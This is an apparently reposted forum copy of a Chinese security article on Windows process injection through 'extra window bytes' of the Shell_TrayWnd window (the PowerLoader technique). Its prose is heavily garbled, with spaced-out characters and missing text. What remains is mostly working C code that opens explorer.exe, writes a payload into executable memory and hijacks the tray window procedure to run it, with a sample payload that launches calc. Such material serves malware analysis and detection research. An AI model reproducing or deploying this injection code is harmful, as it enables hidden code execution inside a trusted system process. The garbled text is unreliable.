[13191] 2018-09-16_Windows进程注入技术:额外窗口字节能做很多事情

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2018-09-16_Windows进程注入技术:额外窗口字节能做很多事情 W i n d o w s A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 0 9 - 1 6 W i n d o w s 2 0 1 3 P o w e r l o a d e r 使 使 8 0 9 0 W i n d o w s 0 使 使 S e t W i n d o w L o n g P t r 0 G e t W i n d o w L o n g P t r 2 0 0 9 W A S M I n d y ( C l e r k ) S h e l l _ T r a y W n d 使 S h e l l _ T r a y W n d 0 W i n d o w s S p y + + 6 4 G e t W i n d o w L o n g P t r   A P I C T r a y C T r a y W n d P r o c P a y l o a d W n d P r o c e x p l o r e r
C T r a y 3 2 6 4 3 2 U L O N G _ P T R 4 6 4 8 P a y l o a d P R O P a g a t e 使 W i n d o w s   E x p l o r e r P I C 便 1 .   s h e l l   t r a y 2 .   e x p l o r e r . e x e I D 3 .   e x p l o r e r . e x e 4 .   C T r a y / / C T r a y   o b j e c t   f o r   S h e l l _ T r a y W n d t y p e   d e f s t r u c t   _ c t r a y _ v t a b l e   {         U L O N G _ P T R   v T a b l e ;         / /   c h a n g e   t o   r e m o t e   m e m o r y   a d d r e s s         U L O N G _ P T R   A d d R e f ;         U L O N G _ P T R   R e l e a s e ;         U L O N G _ P T R   W n d P r o c ;       / /   w i n d o w   p r o c e d u r e   ( c h a n g e   t o   p a y l o a d ) } C T r a y ; L R E S U L T C A L L B A C K   W n d P r o c ( H W N D   h W n d ,   U I N T   u M s g ,     W P A R A M   w P a r a m ,   L P A R A M   l P a r a m ) {         / /   i g n o r e   m e s s a g e s   o t h e r   t h a n   W M _ C L O S E         i f   ( u M s g   ! =   W M _ C L O S E )   r e t u r n   0 ;         W i n E x e c _ t   p W i n E x e c ;         D W O R D         s z W i n E x e c [ 2 ] ,                             s z C a l c [ 2 ] ;         / /   W i n E x e c         s z W i n E x e c [ 0 ] = 0 x 4 5 6 E 6 9 5 7 ;         s z W i n E x e c [ 1 ] = 0 x 0 0 6 3 6 5 7 8 ;         / /   c a l c         s z C a l c [ 0 ]   =   0 x 6 3 6 C 6 1 6 3 ;         s z C a l c [ 1 ]   =   0 ;         p W i n E x e c   = ( W i n E x e c _ t ) x G e t P r o c A d d r e s s ( s z W i n E x e c ) ;         i f ( p W i n E x e c   ! =   N U L L )   {             p W i n E x e c ( ( L P S T R ) s z C a l c ,   S W _ S H O W ) ;         }         r e t u r n   0 ; } L P V O I D e w m ( L P V O I D   p a y l o a d ,   D W O R D   p a y l o a d S i z e ) {         L P V O I D       c s ,   d s ;         C T r a y         c t ;         U L O N G _ P T R   c t p ;         H W N D           h w ;         H A N D L E       h p ;         D W O R D         p i d ;         S I Z E _ T       w r ;         h w   =   F i n d W i n d o w ( " S h e l l _ T r a y W n d " , N U L L ) ;         G e t W i n d o w T h r e a d P r o c e s s I d ( h w ,   & p i d ) ;         h p   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F A L S E , p i d ) ;
5 .   C T r a y 6 .   7 . / / 8 .   9 .   C T r a y / 1 0 .   C T r a y 1 1 .   C T r a y 1 2 .   P a y l o a d 1 3 .   C T r a y 1 4 .   S h a t t e r W i n d o w s   V i s t a U I P I W i n d o w s   1 0 P a y l o a d *   m o d e x p F B A l p h a _ h 4 c k F r e e B u f . C O M         c t p   =   G e t W i n d o w L o n g P t r ( h w ,   0 ) ;     R e a d P r o c e s s M e m o r y ( h p ,   ( L P V O I D ) c t p ,                   ( L P V O I D ) & c t . v T a b l e , s i z e o f ( U L O N G _ P T R ) ,   & w r ) ; R e a d P r o c e s s M e m o r y ( h p ,   ( L P V O I D ) c t . v T a b l e ,               ( L P V O I D ) & c t . A d d R e f ,   s i z e o f ( U L O N G _ P T R ) *   3 ,   & w r ) ;     c s   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   p a y l o a d S i z e ,               M E M _ C O M M I T   |   M E M _ R E S E R V E , P A G E _ E X E C U T E _ R E A D W R I T E ) ;         W r i t e P r o c e s s M e m o r y ( h p ,   c s ,   p a y l o a d , p a y l o a d S i z e ,   & w r ) ;   d s   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   s i z e o f ( c t ) ,               M E M _ C O M M I T   |   M E M _ R E S E R V E , P A G E _ R E A D W R I T E ) ; c t . v T a b l e   =   ( U L O N G _ P T R ) d s   +   s i z e o f ( U L O N G _ P T R ) ;         c t . W n d P r o c   =   ( U L O N G _ P T R ) c s ;         W r i t e P r o c e s s M e m o r y ( h p ,   d s ,   & c t , s i z e o f ( c t ) ,   & w r ) ;         S e t W i n d o w L o n g P t r ( h w ,   0 ,   ( U L O N G _ P T R ) d s ) ;         P o s t M e s s a g e ( h w ,   W M _ C L O S E ,   0 ,   0 ) ;         S e t W i n d o w L o n g P t r ( h w ,   0 ,   c t p ) ;       V i r t u a l F r e e E x ( h p ,   c s ,   0 ,   M E M _ D E C O M M I T   | M E M _ R E L E A S E ) ;         V i r t u a l F r e e E x ( h p ,   d s ,   0 ,   M E M _ D E C O M M I T   | M E M _ R E L E A S E ) ;           C l o s e H a n d l e ( h p ) ; }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则